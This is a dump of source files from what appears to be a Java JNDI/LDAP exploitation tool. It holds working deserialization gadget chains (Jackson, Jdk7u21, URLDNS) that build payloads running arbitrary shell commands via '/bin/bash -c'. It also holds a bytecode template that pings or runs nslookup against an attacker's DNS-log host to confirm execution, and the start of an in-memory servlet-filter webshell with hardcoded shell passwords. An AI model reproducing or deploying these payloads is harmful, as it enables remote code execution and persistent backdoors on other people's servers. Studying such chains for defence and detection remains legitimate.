Object getObject(PayloadType type, String... param) throws Exception { 36 | CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); 37 | CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); 38 | ctClass.removeMethod(writeReplace); 39 | ctClass.toClass(); 40 | 41 | POJONode node = new POJONode(makeTemplatesImplAopProxy(type, param)); 42 | 43 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 44 | Reflections.setFieldValue(val, "val", node); 45 | return val; 46 | } 47 | 48 | public static Object makeTemplatesImplAopProxy(PayloadType type, String... param) throws Exception { 49 | // use JdkDynamicAopProxy to make jackson better. 50 | // read this https://xz.aliyun.com/t/12846 51 | AdvisedSupport advisedSupport = new AdvisedSupport(); 52 | advisedSupport.setTarget(Gadgets.createTemplatesImpl(type, param)); 53 | 54 | MyThrowsAdvice throwsAdvice = new MyThrowsAdvice(); 55 | ThrowsAdviceInterceptor interceptor = new ThrowsAdviceInterceptor(throwsAdvice){}; 56 | 57 | MyStaticMethodMatcherPointcut pointcut = new MyStaticMethodMatcherPointcut(){}; 58 | 59 | // 创建一个DefaultPointcutAdvisor 60 | Advisor advisor = new DefaultPointcutAdvisor(pointcut, interceptor); 61 | 62 | // 添加advisor到AdvisedSupport 63 | advisedSupport.addAdvisor(advisor); 64 | 65 | 66 | 67 | Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); 68 | constructor.setAccessible(true); 69 | InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); 70 | Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); 71 | return proxy; 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jackson22.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.fasterxml.jackson.databind.node.POJONode; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.gadgets.utils.Gadgets; 6 | import com.feihong.ldap.gadgets.utils.Reflections; 7 | import com.feihong.ldap.utils.MyStaticMethodMatcherPointcut; 8 | import com.feihong.ldap.utils.MyThrowsAdvice; 9 | import com.feihong.ldap.utils.Util; 10 | import javassist.ClassPool; 11 | import javassist.CtClass; 12 | import javassist.CtMethod; 13 | import org.springframework.aop.Advisor; 14 | import org.springframework.aop.framework.AdvisedSupport; 15 | import org.springframework.aop.framework.adapter.ThrowsAdviceInterceptor; 16 | import org.springframework.aop.support.DefaultPointcutAdvisor; 17 | 18 | import javax.management.BadAttributeValueExpException; 19 | import javax.xml.transform.Templates; 20 | import java.lang.reflect.Constructor; 21 | import java.lang.reflect.InvocationHandler; 22 | import java.lang.reflect.Proxy; 23 | 24 | // from https://github.com/Y4er/ysoserial/blob/main/src/main/java/ysoserial/payloads/Jackson2.java 25 | public class Jackson22 { 26 | 27 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 28 | Object obj = getObject(type, param); 29 | 30 | byte[] bytes = Util.serialize(obj); 31 | 32 | return bytes; 33 | } 34 | 35 | public static Object getObject(PayloadType type, String... param) throws Exception { 36 | // CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); 37 | // CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); 38 | // ctClass.removeMethod(writeReplace); 39 | // ctClass.toClass(); 40 | 41 | POJONode node = new POJONode(makeTemplatesImplAopProxy(type, param)); 42 | 43 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 44 | Reflections.setFieldValue(val, "val", node); 45 | return val; 46 | } 47 | 48 | public static Object makeTemplatesImplAopProxy(PayloadType type, String... param) throws Exception { 49 | // use JdkDynamicAopProxy to make jackson better. 50 | // read this https://xz.aliyun.com/t/12846 51 | AdvisedSupport advisedSupport = new AdvisedSupport(); 52 | advisedSupport.setTarget(Gadgets.createTemplatesImpl(type, param)); 53 | 54 | MyThrowsAdvice throwsAdvice = new MyThrowsAdvice(); 55 | ThrowsAdviceInterceptor interceptor = new ThrowsAdviceInterceptor(throwsAdvice){}; 56 | 57 | MyStaticMethodMatcherPointcut pointcut = new MyStaticMethodMatcherPointcut(){}; 58 | 59 | // 创建一个DefaultPointcutAdvisor 60 | Advisor advisor = new DefaultPointcutAdvisor(pointcut, interceptor); 61 | 62 | // 添加advisor到AdvisedSupport 63 | advisedSupport.addAdvisor(advisor); 64 | 65 | 66 | 67 | Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); 68 | constructor.setAccessible(true); 69 | InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); 70 | Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); 71 | return proxy; 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jackson222.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.fasterxml.jackson.databind.node.POJONode; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.gadgets.utils.Gadgets; 6 | import com.feihong.ldap.gadgets.utils.Reflections; 7 | import com.feihong.ldap.utils.MyStaticMethodMatcherPointcut; 8 | import com.feihong.ldap.utils.MyThrowsAdvice; 9 | import com.feihong.ldap.utils.Util; 10 | import javassist.ClassPool; 11 | import javassist.CtClass; 12 | import javassist.CtMethod; 13 | import org.springframework.aop.Advisor; 14 | import org.springframework.aop.framework.AdvisedSupport; 15 | import org.springframework.aop.framework.adapter.ThrowsAdviceInterceptor; 16 | import org.springframework.aop.support.DefaultPointcutAdvisor; 17 | 18 | import javax.management.BadAttributeValueExpException; 19 | import javax.xml.transform.Templates; 20 | import java.lang.reflect.Constructor; 21 | import java.lang.reflect.InvocationHandler; 22 | import java.lang.reflect.Proxy; 23 | 24 | // from https://github.com/Y4er/ysoserial/blob/main/src/main/java/ysoserial/payloads/Jackson2.java 25 | public class Jackson222 { 26 | 27 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 28 | Object obj = getObject(type, param); 29 | 30 | byte[] bytes = Util.serialize(obj); 31 | 32 | return bytes; 33 | } 34 | 35 | public static Object getObject(PayloadType type, String... param) throws Exception { 36 | CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); 37 | CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); 38 | ctClass.removeMethod(writeReplace); 39 | ctClass.toClass(); 40 | 41 | POJONode node = new POJONode(makeTemplatesImplAopProxy(type, param)); 42 | 43 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 44 | Reflections.setFieldValue(val, "val", node); 45 | return val; 46 | } 47 | 48 | public static Object makeTemplatesImplAopProxy(PayloadType type, String... param) throws Exception { 49 | // use JdkDynamicAopProxy to make jackson better. 50 | // read this https://xz.aliyun.com/t/12846 51 | AdvisedSupport advisedSupport = new AdvisedSupport(); 52 | advisedSupport.setTarget(Gadgets.createTemplatesImpl(type, param)); 53 | 54 | // MyThrowsAdvice throwsAdvice = new MyThrowsAdvice(); 55 | // ThrowsAdviceInterceptor interceptor = new ThrowsAdviceInterceptor(throwsAdvice){}; 56 | // 57 | // MyStaticMethodMatcherPointcut pointcut = new MyStaticMethodMatcherPointcut(){}; 58 | // 59 | // // 创建一个DefaultPointcutAdvisor 60 | // Advisor advisor = new DefaultPointcutAdvisor(pointcut, interceptor); 61 | // 62 | // // 添加advisor到AdvisedSupport 63 | // advisedSupport.addAdvisor(advisor); 64 | 65 | 66 | 67 | Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); 68 | constructor.setAccessible(true); 69 | InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); 70 | Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); 71 | return proxy; 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jackson3.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.fasterxml.jackson.databind.node.POJONode; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 7 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 8 | import javassist.ClassPool; 9 | import javassist.CtClass; 10 | import javassist.CtConstructor; 11 | import javassist.CtMethod; 12 | import org.springframework.aop.AfterAdvice; 13 | import org.springframework.aop.MethodBeforeAdvice; 14 | import org.springframework.aop.framework.AdvisedSupport; 15 | import org.springframework.aop.framework.adapter.ThrowsAdviceInterceptor; 16 | 17 | import javax.management.BadAttributeValueExpException; 18 | import javax.xml.transform.Templates; 19 | import java.io.ByteArrayOutputStream; 20 | import java.io.IOException; 21 | import java.io.ObjectOutputStream; 22 | import java.lang.reflect.*; 23 | 24 | // from https://wx.zsxq.com/dweb2/index/topic_detail/188424148425222 25 | public class Jackson3 { 26 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 27 | // System.out.println(type); 28 | // System.out.println(param[0]); 29 | 30 | ClassPool pool = ClassPool.getDefault(); 31 | CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); 32 | CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); 33 | if(writeReplace !=null) { 34 | ctClass0.removeMethod(writeReplace); 35 | } 36 | ctClass0.toClass(); 37 | CtClass ctClass = pool.makeClass("a"); 38 | CtClass superClass = pool.get(AbstractTranslet.class.getName()); 39 | ctClass.setSuperclass(superClass); 40 | CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass); 41 | // constructor.setBody("Runtime.getRuntime().exec(\"" + param[0] + "\");"); 42 | constructor.setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"" + param[0] + "\"});"); 43 | ctClass.addConstructor(constructor); 44 | byte[] bytes = ctClass.toBytecode(); 45 | 46 | 47 | Templates templatesImpl = new TemplatesImpl(); 48 | Reflections.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes}); 49 | Reflections.setFieldValue(templatesImpl, "_name", "test"); 50 | Reflections.setFieldValue(templatesImpl, "_tfactory", null); 51 | 52 | //利用 JdkDynamicAopProxy 进行封装使其稳定触发 53 | Class clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy"); 54 | Constructor cons = clazz.getDeclaredConstructor(AdvisedSupport.class); 55 | // 不知道为啥,本来就是public的。不写就报错:Class com.feihong.ldap.gadgets.Jackson3 can not access a member of class org.springframework.aop.framework.JdkDynamicAopProxy with modifiers "public" 56 | cons.setAccessible(true); 57 | 58 | 59 | MethodBeforeAdvice methodBeforeAdvice = (method, args, target) -> System.out.println("Before method: " + method.getName()); 60 | 61 | AdvisedSupport advisedSupport = new AdvisedSupport(); 62 | advisedSupport.setTarget(templatesImpl); 63 | // 不加一个advice就总是报空指针异常 64 | advisedSupport.addAdvice(methodBeforeAdvice); 65 | 66 | InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); 67 | Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); 68 | POJONode jsonNodes = new POJONode(proxyObj); 69 | BadAttributeValueExpException exp = new BadAttributeValueExpException(null); 70 | Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val"); 71 | val.setAccessible(true); 72 | val.set(exp,jsonNodes); 73 | 74 | return object2Bytes(exp); 75 | } 76 | 77 | 78 | private static byte[] object2Bytes(Object obj) throws IOException { 79 | //序列化 80 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 81 | ObjectOutputStream oos = new ObjectOutputStream(baous); 82 | oos.writeObject(obj); 83 | byte[] bytes = baous.toByteArray(); 84 | oos.close(); 85 | return bytes; 86 | } 87 | } 88 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jackson4.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.fasterxml.jackson.databind.node.POJONode; 4 | import com.feihong.ldap.enumtypes.PayloadType; 5 | import com.feihong.ldap.gadgets.utils.Gadgets; 6 | import com.feihong.ldap.gadgets.utils.Reflections; 7 | import com.feihong.ldap.utils.Util; 8 | import javassist.ClassPool; 9 | import javassist.CtClass; 10 | import javassist.CtMethod; 11 | import org.springframework.aop.framework.AdvisedSupport; 12 | 13 | import javax.management.BadAttributeValueExpException; 14 | import javax.xml.transform.Templates; 15 | import java.lang.reflect.*; 16 | 17 | public class Jackson4 { 18 | 19 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 20 | // step 1 21 | CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode"); 22 | CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace"); 23 | ctClass.removeMethod(writeReplace); 24 | ctClass.toClass(); 25 | // step 2 26 | POJONode node = new POJONode(makeTemplatesImplAopProxy(type, param)); 27 | // step 3 28 | BadAttributeValueExpException val = new BadAttributeValueExpException(null); 29 | Reflections.setFieldValue(val, "val", node); 30 | 31 | return Util.serialize(val); 32 | } 33 | 34 | public static Object makeTemplatesImplAopProxy(PayloadType type, String... param) throws Exception { 35 | AdvisedSupport advisedSupport = new AdvisedSupport(); 36 | advisedSupport.setTarget(Gadgets.createTemplatesImpl(type, param)); 37 | Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class); 38 | constructor.setAccessible(true); 39 | InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); 40 | Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, handler); 41 | return proxy; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jdk7u21.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.Util; 7 | 8 | import javax.xml.transform.Templates; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.ObjectOutputStream; 11 | import java.lang.reflect.InvocationHandler; 12 | import java.util.HashMap; 13 | import java.util.LinkedHashSet; 14 | 15 | public class Jdk7u21 { 16 | 17 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 18 | final Object templates = Gadgets.createTemplatesImpl(type, param); 19 | 20 | String zeroHashCodeStr = "f5a5a608"; 21 | 22 | HashMap map = new HashMap(); 23 | map.put(zeroHashCodeStr, "foo"); 24 | 25 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 26 | Reflections.setFieldValue(tempHandler, "type", Templates.class); 27 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); 28 | 29 | LinkedHashSet set = new LinkedHashSet(); // maintain order 30 | set.add(templates); 31 | set.add(proxy); 32 | 33 | Reflections.setFieldValue(templates, "_auxClasses", null); 34 | Reflections.setFieldValue(templates, "_class", null); 35 | 36 | map.put(zeroHashCodeStr, templates); // swap in real object 37 | 38 | //序列化 39 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 40 | ObjectOutputStream oos = new ObjectOutputStream(baous); 41 | oos.writeObject(set); 42 | byte[] bytes = baous.toByteArray(); 43 | oos.close(); 44 | 45 | return bytes; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/URLDNS.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.gadgets.utils.Reflections; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | import java.net.InetAddress; 8 | import java.net.URL; 9 | import java.net.URLConnection; 10 | import java.net.URLStreamHandler; 11 | import java.util.HashMap; 12 | 13 | public class URLDNS { 14 | public static byte[] getBytes(final String url) throws Exception { 15 | 16 | //Avoid DNS resolution during payload creation 17 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. 18 | URLStreamHandler handler = new SilentURLStreamHandler(); 19 | 20 | HashMap ht = new HashMap(); // HashMap that will contain the URL 21 | URL u = new URL(null, url, handler); // URL to use as the Key 22 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 23 | 24 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 25 | 26 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 27 | ObjectOutputStream oos = new ObjectOutputStream(baous); 28 | oos.writeObject(ht); 29 | byte[] bytes = baous.toByteArray(); 30 | oos.close(); 31 | 32 | return bytes; 33 | } 34 | 35 | 36 | static class SilentURLStreamHandler extends URLStreamHandler { 37 | 38 | protected URLConnection openConnection(URL u) throws IOException { 39 | return null; 40 | } 41 | 42 | protected synchronized InetAddress getHostAddress(URL u) { 43 | return null; 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | import com.nqzero.permit.Permit; 4 | import sun.reflect.ReflectionFactory; 5 | import java.lang.reflect.AccessibleObject; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.InvocationTargetException; 9 | 10 | @SuppressWarnings ( "restriction" ) 11 | public class Reflections { 12 | 13 | public static void setAccessible(AccessibleObject member) { 14 | // quiet runtime warnings from JDK9+ 15 | Permit.setAccessible(member); 16 | } 17 | 18 | public static Field getField(final Class clazz, final String fieldName) { 19 | Field field = null; 20 | try { 21 | field = clazz.getDeclaredField(fieldName); 22 | setAccessible(field); 23 | } 24 | catch (NoSuchFieldException ex) { 25 | if (clazz.getSuperclass() != null) 26 | field = getField(clazz.getSuperclass(), fieldName); 27 | } 28 | return field; 29 | } 30 | 31 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 32 | final Field field = getField(obj.getClass(), fieldName); 33 | field.set(obj, value); 34 | } 35 | 36 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 37 | final Field field = getField(obj.getClass(), fieldName); 38 | return field.get(obj); 39 | } 40 | 41 | public static Constructor getFirstCtor(final String name) throws Exception { 42 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 43 | setAccessible(ctor); 44 | return ctor; 45 | } 46 | 47 | public static Object newInstance(String className, Object ... args) throws Exception { 48 | return getFirstCtor(className).newInstance(args); 49 | } 50 | 51 | public static T createWithoutConstructor ( Class classToInstantiate ) 52 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 53 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 54 | } 55 | 56 | @SuppressWarnings ( {"unchecked"} ) 57 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 58 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 59 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 60 | setAccessible(objCons); 61 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 62 | setAccessible(sc); 63 | return (T)sc.newInstance(consArgs); 64 | } 65 | 66 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/Util.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | public class Util { 4 | public static byte[] deleteAt(byte[] bs, int index) { 5 | int length = bs.length - 1; 6 | byte[] ret = new byte[length]; 7 | 8 | if(index == bs.length - 1) { 9 | System.arraycopy(bs, 0, ret, 0, length); 10 | } else if(index < bs.length - 1) { 11 | for(int i = index; i < length; i++) { 12 | bs[i] = bs[i + 1]; 13 | } 14 | 15 | System.arraycopy(bs, 0, ret, 0, length); 16 | } 17 | 18 | return ret; 19 | } 20 | 21 | public static byte[] addAtIndex(byte[] bs, int index, byte b) { 22 | int length = bs.length + 1; 23 | byte[] ret = new byte[length]; 24 | 25 | System.arraycopy(bs, 0, ret, 0, index); 26 | ret[index] = b; 27 | System.arraycopy(bs, index, ret, index + 1, length - index - 1); 28 | 29 | return ret; 30 | } 31 | 32 | public static byte[] addAtLast(byte[] bs, byte b) { 33 | int length = bs.length + 1; 34 | byte[] ret = new byte[length]; 35 | 36 | System.arraycopy(bs, 0, ret, 0, length-1); 37 | ret[length - 1] = b; 38 | 39 | return ret; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DnslogTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.feihong.ldap.utils.Cache; 4 | import com.feihong.ldap.utils.Util; 5 | import org.objectweb.asm.*; 6 | 7 | import static org.objectweb.asm.Opcodes.*; 8 | 9 | public class DnslogTemplate implements Template { 10 | private String className; 11 | private byte[] bytes; 12 | private String dnslog; 13 | 14 | 15 | public DnslogTemplate(String dnslog){ 16 | this.dnslog = dnslog; 17 | this.className = "Exploit" + Util.getRandomString(); 18 | 19 | generate(); 20 | } 21 | 22 | public DnslogTemplate(String dnslog, String className){ 23 | this.dnslog = dnslog; 24 | this.className = className; 25 | 26 | generate(); 27 | } 28 | 29 | public void cache(){ 30 | Cache.set(className, bytes); 31 | } 32 | 33 | public String getClassName(){ 34 | return className; 35 | } 36 | 37 | public byte[] getBytes(){ 38 | return bytes; 39 | } 40 | 41 | public void generate(){ 42 | ClassWriter cw = new ClassWriter(0); 43 | FieldVisitor fv; 44 | MethodVisitor mv; 45 | AnnotationVisitor av0; 46 | 47 | cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); 48 | 49 | { 50 | fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "dnslog", "Ljava/lang/String;", null, null); 51 | fv.visitEnd(); 52 | } 53 | { 54 | mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); 55 | mv.visitCode(); 56 | Label l0 = new Label(); 57 | Label l1 = new Label(); 58 | Label l2 = new Label(); 59 | mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); 60 | mv.visitVarInsn(ALOAD, 0); 61 | mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); 62 | mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); 63 | mv.visitLdcInsn("/"); 64 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); 65 | Label l3 = new Label(); 66 | mv.visitJumpInsn(IFEQ, l3); 67 | mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); 68 | mv.visitInsn(DUP); 69 | mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); 70 | mv.visitLdcInsn("ping -c 1 "); 71 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 72 | mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); 73 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 74 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); 75 | mv.visitVarInsn(ASTORE, 1); 76 | mv.visitJumpInsn(GOTO, l0); 77 | mv.visitLabel(l3); 78 | mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {}); 79 | mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); 80 | mv.visitInsn(DUP); 81 | mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); 82 | mv.visitLdcInsn("nslookup "); 83 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 84 | mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); 85 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); 86 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); 87 | mv.visitVarInsn(ASTORE, 1); 88 | mv.visitLabel(l0); 89 | mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"java/lang/String"}, 0, null); 90 | mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); 91 | mv.visitVarInsn(ALOAD, 1); 92 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); 93 | mv.visitInsn(POP); 94 | mv.visitLabel(l1); 95 | Label l4 = new Label(); 96 | mv.visitJumpInsn(GOTO, l4); 97 | mv.visitLabel(l2); 98 | mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"}); 99 | mv.visitVarInsn(ASTORE, 2); 100 | mv.visitVarInsn(ALOAD, 2); 101 | mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); 102 | mv.visitLabel(l4); 103 | mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); 104 | mv.visitInsn(RETURN); 105 | mv.visitMaxs(2, 3); 106 | mv.visitEnd(); 107 | } 108 | { 109 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 110 | mv.visitCode(); 111 | mv.visitInsn(RETURN); 112 | mv.visitMaxs(0, 3); 113 | mv.visitEnd(); 114 | } 115 | { 116 | mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); 117 | mv.visitCode(); 118 | mv.visitInsn(RETURN); 119 | mv.visitMaxs(0, 4); 120 | mv.visitEnd(); 121 | } 122 | { 123 | mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); 124 | mv.visitCode(); 125 | mv.visitLdcInsn(dnslog); 126 | mv.visitFieldInsn(PUTSTATIC, className, "dnslog", "Ljava/lang/String;"); 127 | mv.visitInsn(RETURN); 128 | mv.visitMaxs(1, 0); 129 | mv.visitEnd(); 130 | } 131 | cw.visitEnd(); 132 | bytes = cw.toByteArray(); 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.spec.SecretKeySpec; 5 | import javax.servlet.*; 6 | import javax.servlet.http.HttpServletRequest; 7 | import java.io.File; 8 | import java.io.IOException; 9 | import java.lang.reflect.InvocationTargetException; 10 | import java.lang.reflect.Method; 11 | import java.util.Scanner; 12 | 13 | public class DynamicFilterTemplate implements Filter { 14 | 15 | private Class myClassLoaderClazz; 16 | private String basicCmdShellPwd = "pass"; 17 | private String behinderShellHeader = "X-Options-Ai"; 18 | private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond 19 | 20 | public DynamicFilterTemplate() { 21 | super(); 22 | initialize(); 23 | } 24 | 25 | @Override 26 | public void init(FilterConfig filterConfig) throws ServletException { 27 | 28 | } 29 